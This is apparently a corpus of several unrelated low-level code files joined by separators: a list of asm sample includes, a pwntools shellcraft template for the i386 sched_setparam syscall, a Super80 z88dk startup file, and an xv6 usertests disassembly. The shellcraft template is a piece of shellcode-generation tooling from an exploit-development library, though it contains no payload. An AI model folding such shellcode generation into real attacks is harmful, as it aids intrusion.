include "samples/phat1-v3.asm"
smp24
include "samples/phat1-v2.asm"
smp25
include "samples/phat2-v4.asm"
smp26
include "samples/phat3-v3.asm"
smp27
include "samples/phat4-v4.asm"
smp28
include "samples/phat4-v2.asm"
smp29
include "samples/saw-v4.asm" |
<%
from pwnlib.shellcraft.i386.linux import syscall
%>
<%page args="pid, param"/>
<%docstring>
Invokes the syscall sched_setparam. See 'man 2 sched_setparam' for more information.
Arguments:
pid(pid_t): pid
param(sched_param): param
</%docstring>
${syscall('SYS_sched_setparam', pid, param)}
|
;
; Startup for the Dick Smith Super80
;
module super80_crt0
;--------
; Include zcc_opt.def to find out some info
;--------
defc crt0 = 1
INCLUDE "zcc_opt.def"
;--------
; Some scope definitions
;--------
EXTERN _main ;main() is always external to crt0 code
EXTERN asm_im1_handler
EXTERN asm_nmi_handler
PUBLIC cleanup ;jp'd to by exit()
PUBLIC l_dcal ;jp(hl)
defc TAR__no_ansifont = 1
defc CRT_KEY_DEL = 12
defc __CPU_CLOCK = 2000000
defc CRT_ORG_CODE = 0x0000
defc TAR__fputc_cons_generic = 1
defc TAR__clib_exit_stack_size = 0
defc TAR__register_sp = 0xbdff
defc TAR__crt_enable_rst = $8080
EXTERN asm_im1_handler
defc _z80_rst_38h = asm_im1_handler
IFNDEF CRT_ENABLE_NMI
defc TAR__crt_enable_nmi = 1
EXTERN asm_nmi_handler
defc _z80_nmi = asm_nmi_handler
ENDIF
INCLUDE "crt/classic/crt_rules.inc"
org CRT_ORG_CODE
if (ASMPC<>$0000)
defs CODE_ALIGNMENT_ERROR
endif
di
jp program
INCLUDE "crt/classic/crt_z80_rsts.asm"
program:
INCLUDE "crt/classic/crt_init_sp.asm"
INCLUDE "crt/classic/crt_init_atexit.asm"
call crt0_init_bss
ld (exitsp),sp
im 1
; F0 General Purpose output port
; Bit 0 - cassette output
; Bit 1 - cassette relay control; 0=relay on
; Bit 2 - turns screen on and off;0=screen off
; Toggles colour/text on 6845 models
; Bit 3 - Available for user projects [We will use it for sound]
; Bit 4 - Available for user projects [We will use it for video switching]
; PCG banking?
; Bit 5 - cassette LED; 0=LED on
; Bit 6/7 - not decoded
ld c,@00110110
ld a,c
out ($F0),a
IF CRT_SUPER80_VDUEM
; So we're on the text page
ld hl,$f000
ld (hl),32
res 2,a ;Swich to colour
out ($F0),a
ld (hl),0 ;Black on black
set 2,a
out ($F0),a
ld a,(hl)
cp 32
jr z,is_super80v
res 2,c ;If bit 2 is zero, indicate we're on super80r
ENDIF
is_super80v:
ld a,c
ld (PORT_F0_COPY),a
ld a,$BE
out ($F1),a
ld (PORT_F1_COPY),a
ei
; Optional definition for auto MALLOC init
; it assumes we have free space between the end of
; the compiled program and the stack pointer
IF DEFINED_USING_amalloc
INCLUDE "crt/classic/crt_init_amalloc.asm"
ENDIF
call _main
cleanup:
di
halt
jp cleanup
l_dcal: jp (hl) ;Used for function pointer calls
INCLUDE "crt/classic/crt_runtime_selection.asm"
INCLUDE "crt/classic/crt_section.asm"
SECTION bss_crt
PUBLIC PORT_F0_COPY
PUBLIC PORT_F1_COPY
PORT_F0_COPY: defb 0
PORT_F1_COPY: defb 0
|
_usertests: file format elf32-i386
Disassembly of section .text:
00000000 <main>:
return randstate;
}
int
main(int argc, char *argv[])
{
0: 55 push %ebp
1: 89 e5 mov %esp,%ebp
3: 83 e4 f0 and $0xfffffff0,%esp
6: 83 ec 10 sub $0x10,%esp
printf(1, "usertests starting\n");
9: c7 44 24 04 56 51 00 movl $0x5156,0x4(%esp)
10: 00
11: c7 04 24 01 00 00 00 movl $0x1,(%esp)
18: e8 e3 3d 00 00 call 3e00 <printf>
if(open("usertests.ran", 0) >= 0){
1d: c7 44 24 04 00 00 00 movl $0x0,0x4(%esp)
24: 00
25: c7 04 24 6a 51 00 00 movl $0x516a,(%esp)
2c: e8 b1 3c 00 00 call 3ce2 <open>
31: 85 c0 test %eax,%eax
33: 78 19 js 4e <main+0x4e>
printf(1, "already ran user tests -- rebuild fs.img\n");
35: c7 44 24 04 d4 58 00 movl $0x58d4,0x4(%esp)
3c: 00
3d: c7 04 24 01 00 00 00 movl $0x1,(%esp)
44: e8 b7 3d 00 00 call 3e00 <printf>
exit();
49: e8 54 3c 00 00 call 3ca2 <exit>
}
close(open("usertests.ran", O_CREATE));
4e: c7 44 24 04 00 02 00 movl $0x200,0x4(%esp)
55: 00
56: c7 04 24 6a 51 00 00 movl $0x516a,(%esp)
5d: e8 80 3c 00 00 call 3ce2 <open>
62: 89 04 24 mov %eax,(%esp)
65: e8 60 3c 00 00 call 3cca <close>
argptest();
6a: e8 71 39 00 00 call 39e0 <argptest>
createdelete();
6f: e8 9c 12 00 00 call 1310 <createdelete>
linkunlink();
74: e8 27 1c 00 00 call 1ca0 <linkunlink>
concreate();
79: e8 02 19 00 00 call 1980 <concreate>
7e: 66 90 xchg %ax,%ax
fourfiles();
80: e8 7b 10 00 00 call 1100 <fourfiles>
sharedfd();
85: e8 96 0e 00 00 call f20 <sharedfd>
bigargtest();
8a: e8 c1 35 00 00 call 3650 <bigargtest>
8f: 90 nop
bigwrite();
90: e8 fb 25 00 00 call 2690 <bigwrite>
bigargtest();
95: e8 b6 35 00 00 call 3650 <bigargtest>
bsstest();
9a: e8 31 35 00 00 call 35d0 <bsstest>
9f: 90 nop
sbrktest();
a0: e8 0b 30 00 00 call 30b0 <sbrktest>
validatetest();
a5: e8 76 34 00 00 call 3520 <validatetest>
opentest();
aa: e8 61 03 00 00 call 410 <opentest>
af: 90 nop
writetest();
b0: e8 fb 03 00 00 call 4b0 <writetest>
writetest1();
b5: e8 06 06 00 00 call 6c0 <writetest1>
createtest();
ba: e8 f1 07 00 00 call 8b0 <createtest>
bf: 90 nop
openiputtest();
c0: e8 3b 02 00 00 call 300 <openiputtest>
exitiputtest();
c5: e8 46 01 00 00 call 210 <exitiputtest>
iputtest();
ca: e8 61 00 00 00 call 130 <iputtest>
cf: 90 nop
mem();
d0: e8 6b 0d 00 00 call e40 <mem>
pipe1();
d5: e8 b6 09 00 00 call a90 <pipe1>
preempt();
da: e8 71 0b 00 00 call c50 <preempt>
df: 90 nop
exitwait();
e0: e8 cb 0c 00 00 call db0 <exitwait>
rmdot();
e5: e8 06 2a 00 00 call 2af0 <rmdot>
fourteen();
ea: e8 a1 28 00 00 call 2990 <fourteen>
ef: 90 nop
bigfile();
f0: e8 9b 26 00 00 call 2790 <bigfile>
subdir();
f5: e8 06 1e 00 00 call 1f00 <subdir>
linktest();
fa: e8 21 16 00 00 call 1720 <linktest>
ff: 90 nop
unlinkread();
100: e8 4b 14 00 00 call 1550 <unlinkread>
dirfile();
105: e8 76 2b 00 00 call 2c80 <dirfile>
iref();
10a: e8 b1 2d 00 00 call 2ec0 <iref>
10f: 90 nop
forktest();
110: e8 cb 2e 00 00 call 2fe0 <forktest>
bigdir(); // slow
115: e8 96 1c 00 00 call 1db0 <bigdir>
uio();
11a: e8 41 38 00 00 call 3960 <uio>
11f: 90 nop
exectest();
120: e8 1b 09 00 00 call a40 <exectest>
exit();
125: e8 78 3b 00 00 call 3ca2 <exit>
12a: 66 90 xchg %ax,%ax
12c: 66 90 xchg %ax,%ax
12e: 66 90 xchg %ax,%ax
00000130 <iputtest>:
int stdout = 1;
// does chdir() call iput(p->cwd) in a transaction?
void
iputtest(void)
{
130: 55 push %ebp
131: 89 e5 mov %esp,%ebp
133: 83 ec 18 sub $0x18,%esp
printf(stdout, "iput test\n");
136: a1 e4 61 00 00 mov 0x61e4,%eax
13b: c7 44 24 04 fc 41 00 movl $0x41fc,0x4(%esp)
142: 00
143: 89 04 24 mov %eax,(%esp)
146: e8 b5 3c 00 00 call 3e00 <printf>
if(mkdir("iputdir") < 0){
14b: c7 04 24 8f 41 00 00 movl $0x418f,(%esp)
152: e8 b3 3b 00 00 call 3d0a <mkdir>
157: 85 c0 test %eax,%eax
159: 78 4b js 1a6 <iputtest+0x76>
printf(stdout, "mkdir failed\n");
exit();
}
if(chdir("iputdir") < 0){
15b: c7 04 24 8f 41 00 00 movl $0x418f,(%esp)
162: e8 ab 3b 00 00 call 3d12 <chdir>
167: 85 c0 test %eax,%eax
169: 0f 88 85 00 00 00 js 1f4 <iputtest+0xc4>
printf(stdout, "chdir iputdir failed\n");
exit();
}
if(unlink("../iputdir") < 0){
16f: c7 04 24 8c 41 00 00 movl $0x418c,(%esp)
176: e8 77 3b 00 00 call 3cf2 <unlink>
17b: 85 c0 test %eax,%eax
17d: 78 5b js 1da <iputtest+0xaa>
printf(stdout, "unlink ../iputdir failed\n");
exit();
}
if(chdir("/") < 0){
17f: c7 04 24 b1 41 00 00 movl $0x41b1,(%esp)
186: e8 87 3b 00 00 call 3d12 <chdir>
18b: 85 c0 test %eax,%eax
18d: 78 31 js 1c0 <iputtest+0x90>
printf(stdout, "chdir / failed\n");
exit();
}
printf(stdout, "iput test ok\n");
18f: a1 e4 61 00 00 mov 0x61e4,%eax
194: c7 44 24 04 34 42 00 movl $0x4234,0x4(%esp)
19b: 00
19c: 89 04 24 mov %eax,(%esp)
19f: e8 5c 3c 00 00 call 3e00 <printf>
}
1a4: c9 leave
1a5: c3 ret
iputtest(void)
{
printf(stdout, "iput test\n");
if(mkdir("iputdir") < 0){
printf(stdout, "mkdir failed\n");
1a6: a1 e4 61 00 00 mov 0x61e4,%eax
1ab: c7 44 24 04 68 41 00 movl $0x4168,0x4(%esp)
1b2: 00
1b3: 89 04 24 mov %eax,(%esp)
1b6: e8 45 3c 00 00 call 3e00 <printf>
exit();
1bb: e8 e2 3a 00 00 call 3ca2 <exit>
if(unlink("../iputdir") < 0){
printf(stdout, "unlink ../iputdir failed\n");
exit();
}
if(chdir("/") < 0){
printf(stdout, "chdir / failed\n");
1c0: a1 e4 61 00 00 mov 0x61e4,%eax
1c5: c7 44 24 04 b3 41 00 movl $0x41b3,0x4(%esp)
1cc: 00
1cd: 89 04 24 mov %eax,(%esp)
1d0: e8 2b 3c 00 00 call 3e00 <printf>
exit();
1d5: e8 c8 3a 00 00 call 3ca2 <exit>
if(chdir("iputdir") < 0){
printf(stdout, "chdir iputdir failed\n");
exit();
}
if(unlink("../iputdir") < 0){
printf(stdout, "unlink ../iputdir failed\n");
1da: a1 e4 61 00 00 mov 0x61e4,%eax
1df: c7 44 24 04 97 41 00 movl $0x4197,0x4(%esp)
1e6: 00
1e7: 89 04 24 mov %eax,(%esp)
1ea: e8 11 3c 00 00 call 3e00 <printf>
exit();
1ef: e8 ae 3a 00 00 call 3ca2 <exit>
if(mkdir("iputdir") < 0){
printf(stdout, "mkdir failed\n");
exit();
}
if(chdir("iputdir") < 0){
printf(stdout, "chdir iputdir failed\n");
1f4: a1 e4 61 00 00 mov 0x61e4,%eax
1f9: c7 44 24 04 76 41 00 movl $0x4176,0x4(%esp)
200: 00
201: 89 04 24 mov %eax,(%esp)
204: e8 f7 3b 00 00 call 3e00 <printf>
exit();
209: e8 94 3a 00 00 call 3ca2 <exit>
20e: 66 90 xchg %ax,%ax
00000210 <exitiputtest>:
}
// does exit() call iput(p->cwd) in a transaction?
void
exitiputtest(void)
{
210: 55 push %ebp
211: 89 e5 mov %esp,%ebp
213: 83 ec 18 sub $0x18,%esp
int pid;
printf(stdout, "exitiput test\n");
216: a1 e4 61 00 00 mov 0x61e4,%eax
21b: c7 44 24 04 c3 41 00 movl $0x41c3,0x4(%esp)
222: 00
223: 89 04 24 mov %eax,(%esp)
226: e8 d5 3b 00 00 call 3e00 <printf>
pid = fork();
22b: e8 6a 3a 00 00 call 3c9a <fork>
if(pid < 0){
230: 85 c0 test %eax,%eax
232: 78 76 js 2aa <exitiputtest+0x9a>
printf(stdout, "fork failed\n");
exit();
}
if(pid == 0){
234: 75 3a jne 270 <exitiputtest+0x60>
if(mkdir("iputdir") < 0){
236: c7 04 24 8f 41 00 00 movl $0x418f,(%esp)
23d: e8 c8 3a 00 00 call 3d0a <mkdir>
242: 85 c0 test %eax,%eax
244: 0f 88 94 00 00 00 js 2de <exitiputtest+0xce>
printf(stdout, "mkdir failed\n");
exit();
}
if(chdir("iputdir") < 0){
24a: c7 04 24 8f 41 00 00 movl $0x418f,(%esp)
251: e8 bc 3a 00 00 call 3d12 <chdir>
256: 85 c0 test %eax,%eax
258: 78 6a js 2c4 <exitiputtest+0xb4>
printf(stdout, "child chdir failed\n");
exit();
}
if(unlink("../iputdir") < 0){
25a: c7 04 24 8c 41 00 00 movl $0x418c,(%esp)
261: e8 8c 3a 00 00 call 3cf2 <unlink>
266: 85 c0 test %eax,%eax
268: 78 26 js 290 <exitiputtest+0x80>
printf(stdout, "unlink ../iputdir failed\n");
exit();
}
exit();
26a: e8 33 3a 00 00 call 3ca2 <exit>
26f: 90 nop
}
wait();
270: e8 35 3a 00 00 call 3caa <wait>
printf(stdout, "exitiput test ok\n");
275: a1 e4 61 00 00 mov 0x61e4,%eax
27a: c7 44 24 04 e6 41 00 movl $0x41e6,0x4(%esp)
281: 00
282: 89 04 24 mov %eax,(%esp)
285: e8 76 3b 00 00 call 3e00 <printf>
}
28a: c9 leave
28b: c3 ret
28c: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi
if(chdir("iputdir") < 0){
printf(stdout, "child chdir failed\n");
exit();
}
if(unlink("../iputdir") < 0){
printf(stdout, "unlink ../iputdir failed\n");
290: a1 e4 61 00 00 mov 0x61e4,%eax
295: c7 44 24 04 97 41 00 movl $0x4197,0x4(%esp)
29c: 00
29d: 89 04 24 mov %eax,(%esp)
2a0: e8 5b 3b 00 00 call 3e00 <printf>
exit();
2a5: e8 f8 39 00 00 call 3ca2 <exit>
printf(stdout, "exitiput test\n");
pid = fork();
if(pid < 0){
printf(stdout, "fork failed\n");
2aa: a1 e4 61 00 00 mov 0x61e4,%eax
2af: c7 44 24 04 a9 50 00 movl $0x50a9,0x4(%esp)
2b6: 00
2b7: 89 04 24 mov %eax,(%esp)
2ba: e8 41 3b 00 00 call 3e00 <printf>
exit();
2bf: e8 de 39 00 00 call 3ca2 <exit>
if(mkdir("iputdir") < 0){
printf(stdout, "mkdir failed\n");
exit();
}
if(chdir("iputdir") < 0){
printf(stdout, "child chdir failed\n");
2c4: a1 e4 61 00 00 mov 0x61e4,%eax
2c9: c7 44 24 04 d2 41 00 movl $0x41d2,0x4(%esp)
2d0: 00
2d1: 89 04 24 mov %eax,(%esp)
2d4: e8 27 3b 00 00 call 3e00 <printf>
exit();
2d9: e8 c4 39 00 00 call 3ca2 <exit>
printf(stdout, "fork failed\n");
exit();
}
if(pid == 0){
if(mkdir("iputdir") < 0){
printf(stdout, "mkdir failed\n");
2de: a1 e4 61 00 00 mov 0x61e4,%eax
2e3: c7 44 24 04 68 41 00 movl $0x4168,0x4(%esp)
2ea: 00
2eb: 89 04 24 mov %eax,(%esp)
2ee: e8 0d 3b 00 00 call 3e00 <printf>
exit();
2f3: e8 aa 39 00 00 call 3ca2 <exit>
2f8: 90 nop
2f9: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi
00000300 <openiputtest>:
// for(i = 0; i < 10000; i++)
// yield();
// }
void
openiputtest(void)
{
300: 55 push %ebp
301: 89 e5 mov %esp,%ebp
303: 83 ec 18 sub $0x18,%esp
int pid;
printf(stdout, "openiput test\n");
306: a1 e4 61 00 00 mov 0x61e4,%eax
30b: c7 44 24 04 f8 41 00 movl $0x41f8,0x4(%esp)
312: 00
313: 89 04 24 mov %eax,(%esp)
316: e8 e5 3a 00 00 call 3e00 <printf>
if(mkdir("oidir") < 0){
31b: c7 04 24 07 42 00 00 movl $0x4207,(%esp)
322: e8 e3 39 00 00 call 3d0a <mkdir>
327: 85 c0 test %eax,%eax
329: 0f 88 9e 00 00 00 js 3cd <openiputtest+0xcd>
printf(stdout, "mkdir oidir failed\n");
exit();
}
pid = fork();
32f: e8 66 39 00 00 call 3c9a <fork>
if(pid < 0){
334: 85 c0 test %eax,%eax
336: 0f 88 ab 00 00 00 js 3e7 <openiputtest+0xe7>
33c: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi
printf(stdout, "fork failed\n");
exit();
}
if(pid == 0){
340: 75 36 jne 378 <openiputtest+0x78>
int fd = open("oidir", O_RDWR);
342: c7 44 24 04 02 00 00 movl $0x2,0x4(%esp)
349: 00
34a: c7 04 24 07 42 00 00 movl $0x4207,(%esp)
351: e8 8c 39 00 00 call 3ce2 <open>
if(fd >= 0){
356: 85 c0 test %eax,%eax
358: 78 6e js 3c8 <openiputtest+0xc8>
printf(stdout, "open directory for write succeeded\n");
35a: a1 e4 61 00 00 mov 0x61e4,%eax
35f: c7 44 24 04 8c 51 00 movl $0x518c,0x4(%esp)
366: 00
367: 89 04 24 mov %eax,(%esp)
36a: e8 91 3a 00 00 call 3e00 <printf>
exit();
36f: e8 2e 39 00 00 call 3ca2 <exit>
374: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi
}
exit();
}
sleep(1);
378: c7 04 24 01 00 00 00 movl $0x1,(%esp)
37f: e8 ae 39 00 00 call 3d32 <sleep>
if(unlink("oidir") != 0){
384: c7 04 24 07 42 00 00 movl $0x4207,(%esp)
38b: e8 62 39 00 00 call 3cf2 <unlink>
390: 85 c0 test %eax,%eax
392: 75 1c jne 3b0 <openiputtest+0xb0>
printf(stdout, "unlink failed\n");
exit();
}
wait();
394: e8 11 39 00 00 call 3caa <wait>
printf(stdout, "openiput test ok\n");
399: a1 e4 61 00 00 mov 0x61e4,%eax
39e: c7 44 24 04 30 42 00 movl $0x4230,0x4(%esp)
3a5: 00
3a6: 89 04 24 mov %eax,(%esp)
3a9: e8 52 3a 00 00 call 3e00 <printf>
}
3ae: c9 leave
3af: c3 ret
}
exit();
}
sleep(1);
if(unlink("oidir") != 0){
printf(stdout, "unlink failed\n");
3b0: a1 e4 61 00 00 mov 0x61e4,%eax
3b5: c7 44 24 04 21 42 00 movl $0x4221,0x4(%esp)
3bc: 00
3bd: 89 04 24 mov %eax,(%esp)
3c0: e8 3b 3a 00 00 call 3e00 <printf>
3c5: 8d 76 00 lea 0x0(%esi),%esi
exit();
3c8: e8 d5 38 00 00 call 3ca2 <exit>
{
int pid;
printf(stdout, "openiput test\n");
if(mkdir("oidir") < 0){
printf(stdout, "mkdir oidir failed\n");
3cd: a1 e4 61 00 00 mov 0x61e4,%eax
3d2: c7 44 24 04 0d 42 00 movl $0x420d,0x4(%esp)
3d9: 00
3da: 89 04 24 mov %eax,(%esp)
3dd: e8 1e 3a 00 00 call 3e00 <printf>
exit();
3e2: e8 bb 38 00 00 call 3ca2 <exit>
}
pid = fork();
if(pid < 0){
printf(stdout, "fork failed\n");
3e7: a1 e4 61 00 00 mov 0x61e4,%eax
3ec: c7 44 24 04 a9 50 00 movl $0x50a9,0x4(%esp)
3f3: 00
3f4: 89 04 24 mov %eax,(%esp)
3f7: e8 04 3a 00 00 call 3e00 <printf>
exit();
3fc: e8 a1 38 00 00 call 3ca2 <exit>
401: eb 0d jmp 410 <opentest>
403: 90 nop
404: 90 nop
405: 90 nop
406: 90 nop
407: 90 nop
408: 90 nop
409: 90 nop
40a: 90 nop
40b: 90 nop
40c: 90 nop
40d: 90 nop
40e: 90 nop
40f: 90 nop
00000410 <opentest>:
// simple file system tests
void
opentest(void)
{
410: 55 push %ebp
411: 89 e5 mov %esp,%ebp
413: 83 ec 18 sub $0x18,%esp
int fd;
printf(stdout, "open test\n");
416: a1 e4 61 00 00 mov 0x61e4,%eax
41b: c7 44 24 04 42 42 00 movl $0x4242,0x4(%esp)
422: 00
423: 89 04 24 mov %eax,(%esp)
426: e8 d5 39 00 00 call 3e00 <printf>
fd = open("echo", 0);
42b: c7 44 24 04 00 00 00 movl $0x0,0x4(%esp)
432: 00
433: c7 04 24 4d 42 00 00 movl $0x424d,(%esp)
43a: e8 a3 38 00 00 call 3ce2 <open>
if(fd < 0){
43f: 85 c0 test %eax,%eax
441: 78 37 js 47a <opentest+0x6a>
printf(stdout, "open echo failed!\n");
exit();
}
close(fd);
443: 89 04 24 mov %eax,(%esp)
446: e8 7f 38 00 00 call 3cca <close>
fd = open("doesnotexist", 0);
44b: c7 44 24 04 00 00 00 movl $0x0,0x4(%esp)
452: 00
453: c7 04 24 65 42 00 00 movl $0x4265,(%esp)
45a: e8 83 38 00 00 call 3ce2 <open>
if(fd >= 0){
45f: 85 c0 test %eax,%eax
461: 79 31 jns 494 <opentest+0x84>
printf(stdout, "open doesnotexist succeeded!\n");
exit();
}
printf(stdout, "open test ok\n");
463: a1 e4 61 00 00 mov 0x61e4,%eax
468: c7 44 24 04 90 42 00 movl $0x4290,0x4(%esp)
46f: 00
470: 89 04 24 mov %eax,(%esp)
473: e8 88 39 00 00 call 3e00 <printf>
}
478: c9 leave
479: c3 ret
int fd;
printf(stdout, "open test\n");
fd = open("echo", 0);
if(fd < 0){
printf(stdout, "open echo failed!\n");
47a: a1 e4 61 00 00 mov 0x61e4,%eax
47f: c7 44 24 04 52 42 00 movl $0x4252,0x4(%esp)
486: 00
487: 89 04 24 mov %eax,(%esp)
48a: e8 71 39 00 00 call 3e00 <printf>
exit();
48f: e8 0e 38 00 00 call 3ca2 <exit>
}
close(fd);
fd = open("doesnotexist", 0);
if(fd >= 0){
printf(stdout, "open doesnotexist succeeded!\n");
494: a1 e4 61 00 00 mov 0x61e4,%eax
499: c7 44 24 04 72 42 00 movl $0x4272,0x4(%esp)
4a0: 00
4a1: 89 04 24 mov %eax,(%esp)
4a4: e8 57 39 00 00 call 3e00 <printf>
exit();
4a9: e8 f4 37 00 00 call 3ca2 <exit>
4ae: 66 90 xchg %ax,%ax
000004b0 <writetest>:
printf(stdout, "open test ok\n");
}
void
writetest(void)
{
4b0: 55 push %ebp
4b1: 89 e5 mov %esp,%ebp
4b3: 56 push %esi
4b4: 53 push %ebx
4b5: 83 ec 10 sub $0x10,%esp
int fd;
int i;
printf(stdout, "small file test\n");
4b8: a1 e4 61 00 00 mov 0x61e4,%eax
4bd: c7 44 24 04 9e 42 00 movl $0x429e,0x4(%esp)
4c4: 00
4c5: 89 04 24 mov %eax,(%esp)
4c8: e8 33 39 00 00 call 3e00 <printf>
fd = open("small", O_CREATE|O_RDWR);
4cd: c7 44 24 04 02 02 00 movl $0x202,0x4(%esp)
4d4: 00
4d5: c7 04 24 af 42 00 00 movl $0x42af,(%esp)
4dc: e8 01 38 00 00 call 3ce2 <open>
if(fd >= 0){
4e1: 85 c0 test %eax,%eax
{
int fd;
int i;
printf(stdout, "small file test\n");
fd = open("small", O_CREATE|O_RDWR);
4e3: 89 c6 mov %eax,%esi
if(fd >= 0){
4e5: 0f 88 b1 01 00 00 js 69c <writetest+0x1ec>
printf(stdout, "creat small succeeded; ok\n");
4eb: a1 e4 61 00 00 mov 0x61e4,%eax
} else {
printf(stdout, "error: creat small failed!\n");
exit();
}
for(i = 0; i < 100; i++){
4f0: 31 db xor %ebx,%ebx
int i;
printf(stdout, "small file test\n");
fd = open("small", O_CREATE|O_RDWR);
if(fd >= 0){
printf(stdout, "creat small succeeded; ok\n");
4f2: c7 44 24 04 b5 42 00 movl $0x42b5,0x4(%esp)
4f9: 00
4fa: 89 04 24 mov %eax,(%esp)
4fd: e8 fe 38 00 00 call 3e00 <printf>
502: 8d b6 00 00 00 00 lea 0x0(%esi),%esi
} else {
printf(stdout, "error: creat small failed!\n");
exit();
}
for(i = 0; i < 100; i++){
if(write(fd, "aaaaaaaaaa", 10) != 10){
508: c7 44 24 08 0a 00 00 movl $0xa,0x8(%esp)
50f: 00
510: c7 44 24 04 ec 42 00 movl $0x42ec,0x4(%esp)
517: 00
518: 89 34 24 mov %esi,(%esp)
51b: e8 a2 37 00 00 call 3cc2 <write>
520: 83 f8 0a cmp $0xa,%eax
523: 0f 85 e9 00 00 00 jne 612 <writetest+0x162>
printf(stdout, "error: write aa %d new file failed\n", i);
exit();
}
if(write(fd, "bbbbbbbbbb", 10) != 10){
529: c7 44 24 08 0a 00 00 movl $0xa,0x8(%esp)
530: 00
531: c7 44 24 04 f7 42 00 movl $0x42f7,0x4(%esp)
538: 00
539: 89 34 24 mov %esi,(%esp)
53c: e8 81 37 00 00 call 3cc2 <write>
541: 83 f8 0a cmp $0xa,%eax
544: 0f 85 e6 00 00 00 jne 630 <writetest+0x180>
printf(stdout, "creat small succeeded; ok\n");
} else {
printf(stdout, "error: creat small failed!\n");
exit();
}
for(i = 0; i < 100; i++){
54a: 83 c3 01 add $0x1,%ebx
54d: 83 fb 64 cmp $0x64,%ebx
550: 75 b6 jne 508 <writetest+0x58>
if(write(fd, "bbbbbbbbbb", 10) != 10){
printf(stdout, "error: write bb %d new file failed\n", i);
exit();
}
}
printf(stdout, "writes ok\n");
552: a1 e4 61 00 00 mov 0x61e4,%eax
557: c7 44 24 04 02 43 00 movl $0x4302,0x4(%esp)
55e: 00
55f: 89 04 24 mov %eax,(%esp)
562: e8 99 38 00 00 call 3e00 <printf>
close(fd);
567: 89 34 24 mov %esi,(%esp)
56a: e8 5b 37 00 00 call 3cca <close>
fd = open("small", O_RDONLY);
56f: c7 44 24 04 00 00 00 movl $0x0,0x4(%esp)
576: 00
577: c7 04 24 af 42 00 00 movl $0x42af,(%esp)
57e: e8 5f 37 00 00 call 3ce2 <open>
if(fd >= 0){
583: 85 c0 test %eax,%eax
exit();
}
}
printf(stdout, "writes ok\n");
close(fd);
fd = open("small", O_RDONLY);
585: 89 c3 mov %eax,%ebx
if(fd >= 0){
587: 0f 88 c1 00 00 00 js 64e <writetest+0x19e>
printf(stdout, "open small succeeded ok\n");
58d: a1 e4 61 00 00 mov 0x61e4,%eax
592: c7 44 24 04 0d 43 00 movl $0x430d,0x4(%esp)
599: 00
59a: 89 04 24 mov %eax,(%esp)
59d: e8 5e 38 00 00 call 3e00 <printf>
} else {
printf(stdout, "error: open small failed!\n");
exit();
}
i = read(fd, buf, 2000);
5a2: c7 44 24 08 d0 07 00 movl $0x7d0,0x8(%esp)
5a9: 00
5aa: c7 44 24 04 c0 89 00 movl $0x89c0,0x4(%esp)
5b1: 00
5b2: 89 1c 24 mov %ebx,(%esp)
5b5: e8 00 37 00 00 call 3cba <read>
if(i == 2000){
5ba: 3d d0 07 00 00 cmp $0x7d0,%eax
5bf: 0f 85 a3 00 00 00 jne 668 <writetest+0x1b8>
printf(stdout, "read succeeded ok\n");
5c5: a1 e4 61 00 00 mov 0x61e4,%eax
5ca: c7 44 24 04 41 43 00 movl $0x4341,0x4(%esp)
5d1: 00
5d2: 89 04 24 mov %eax,(%esp)
5d5: e8 26 38 00 00 call 3e00 <printf>
} else {
printf(stdout, "read failed\n");
exit();
}
close(fd);
5da: 89 1c 24 mov %ebx,(%esp)
5dd: e8 e8 36 00 00 call 3cca <close>
if(unlink("small") < 0){
5e2: c7 04 24 af 42 00 00 movl $0x42af,(%esp)
5e9: e8 04 37 00 00 call 3cf2 <unlink>
5ee: 85 c0 test %eax,%eax
5f0: 0f 88 8c 00 00 00 js 682 <writetest+0x1d2>
printf(stdout, "unlink small failed\n");
exit();
}
printf(stdout, "small file test ok\n");
5f6: a1 e4 61 00 00 mov 0x61e4,%eax
5fb: c7 44 24 04 69 43 00 movl $0x4369,0x4(%esp)
602: 00
603: 89 04 24 mov %eax,(%esp)
606: e8 f5 37 00 00 call 3e00 <printf>
}
60b: 83 c4 10 add $0x10,%esp
60e: 5b pop %ebx
60f: 5e pop %esi
610: 5d pop %ebp
611: c3 ret
printf(stdout, "error: creat small failed!\n");
exit();
}
for(i = 0; i < 100; i++){
if(write(fd, "aaaaaaaaaa", 10) != 10){
printf(stdout, "error: write aa %d new file failed\n", i);
612: a1 e4 61 00 00 mov 0x61e4,%eax
617: 89 5c 24 08 mov %ebx,0x8(%esp)
61b: c7 44 24 04 b0 51 00 movl $0x51b0,0x4(%esp)
622: 00
623: 89 04 24 mov %eax,(%esp)
626: e8 d5 37 00 00 call 3e00 <printf>
exit();
62b: e8 72 36 00 00 call 3ca2 <exit>
}
if(write(fd, "bbbbbbbbbb", 10) != 10){
printf(stdout, "error: write bb %d new file failed\n", i);
630: a1 e4 61 00 00 mov 0x61e4,%eax
635: 89 5c 24 08 mov %ebx,0x8(%esp)
639: c7 44 24 04 d4 51 00 movl $0x51d4,0x4(%esp)
640: 00
641: 89 04 24 mov %eax,(%esp)
644: e8 b7 37 00 00 call 3e00 <printf>
exit();
649: e8 54 36 00 00 call 3ca2 <exit>
close(fd);
fd = open("small", O_RDONLY);
if(fd >= 0){
printf(stdout, "open small succeeded ok\n");
} else {
printf(stdout, "error: open small failed!\n");
64e: a1 e4 61 00 00 mov 0x61e4,%eax
653: c7 44 24 04 26 43 00 movl $0x4326,0x4(%esp)
65a: 00
65b: 89 04 24 mov %eax,(%esp)
65e: e8 9d 37 00 00 call 3e00 <printf>
exit();
663: e8 3a 36 00 00 call 3ca2 <exit>
}
i = read(fd, buf, 2000);
if(i == 2000){
printf(stdout, "read succeeded ok\n");
} else {
printf(stdout, "read failed\n");
668: a1 e4 61 00 00 mov 0x61e4,%eax
66d: c7 44 24 04 6d 46 00 movl $0x466d,0x4(%esp)
674: 00
675: 89 04 24 mov %eax,(%esp)
678: e8 83 37 00 00 call 3e00 <printf>
exit();
67d: e8 20 36 00 00 call 3ca2 <exit>
}
close(fd);
if(unlink("small") < 0){
printf(stdout, "unlink small failed\n");
682: a1 e4 61 00 00 mov 0x61e4,%eax
687: c7 44 24 04 54 43 00 movl $0x4354,0x4(%esp)
68e: 00
68f: 89 04 24 mov %eax,(%esp)
692: e8 69 37 00 00 call 3e00 <printf>
exit();
697: e8 06 36 00 00 call 3ca2 <exit>
printf(stdout, "small file test\n");
fd = open("small", O_CREATE|O_RDWR);
if(fd >= 0){
printf(stdout, "creat small succeeded; ok\n");
} else {
